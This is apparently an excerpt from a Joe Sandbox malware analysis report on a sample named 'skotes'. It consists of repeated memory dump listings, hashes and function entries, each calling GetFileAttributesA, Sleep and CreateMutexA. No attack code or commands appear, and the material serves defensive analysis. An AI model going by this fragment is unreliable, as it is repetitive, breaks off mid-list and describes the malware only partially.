Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0d9a0d3acd1105cdd9538d00baca6727dae7055eb7e497fd708fd7537707908c
Instruction ID: 78e284b5645ac17f2494c661e2bae3882a7738282512f5f5a8ecd1b0c7094f64
Opcode Fuzzy Hash: 0d9a0d3acd1105cdd9538d00baca6727dae7055eb7e497fd708fd7537707908c
Instruction Fuzzy Hash: CE314C716041049BEB08DB78EDC57EFFBA2EBC1314F245228E124F72D6C77659818751

Function 00EB9CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EB9CDD
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b227266d652328f5171013024014644618d8933ba94dc4fdfc7f66fb2110baf2
Instruction ID: d6905ce0f42d0c00945c580af65cf42cd79fb72ee99bf04c683d7039fdce9690
Opcode Fuzzy Hash: b227266d652328f5171013024014644618d8933ba94dc4fdfc7f66fb2110baf2
Instruction Fuzzy Hash: 813146717042448BEF089B78DDC8BEEBBA2EBC5314F245228E114F72D6C73699808711

Function 00EB9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EB9F47
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0d27650cb41a8e2e1d96e52d66a48a236c4e576aeef61a9358ef4c7697fdf599
Instruction ID: 265a9bf9cf6d3edefcd58b45fdafe80636c7d7e507541b49357ccaee31794116
Opcode Fuzzy Hash: 0d27650cb41a8e2e1d96e52d66a48a236c4e576aeef61a9358ef4c7697fdf599
Instruction Fuzzy Hash: 98314A717042049BEF08AB78DD85BEEB7A2EBC5314F24522CE024F72D5C77699818752

Function 00EBA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA07C
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3270865e63482fe365458916639f96b47de1f7c79596d663162c70b51a43e0d3
Instruction ID: 6aee8e8a6b0c7e42789d4f4c4db02e779cd3ec7f996f4afbbcf0c91bdf41ae29
Opcode Fuzzy Hash: 3270865e63482fe365458916639f96b47de1f7c79596d663162c70b51a43e0d3
Instruction Fuzzy Hash: 623148717051049BFF08EB7CDE85BDEB7A2EBC1318F285228E024F72D5C77699818652

Function 00EBA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA1B1
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 789f214c0cc512ed3fd2eff9dc8ddb2131b3125a3d8ca03305f701c3fd2447e6
Instruction ID: bb05ee3226bad4db7f53daef271a7d9ec8533f9d325c8e875d3ec27dbfa6142f
Opcode Fuzzy Hash: 789f214c0cc512ed3fd2eff9dc8ddb2131b3125a3d8ca03305f701c3fd2447e6
Instruction Fuzzy Hash: 183146716051409BFF089B7CDE89BEEB7A2EBC6314F285238E014F72D5D73699818652

Function 00EBA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBA2E6
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
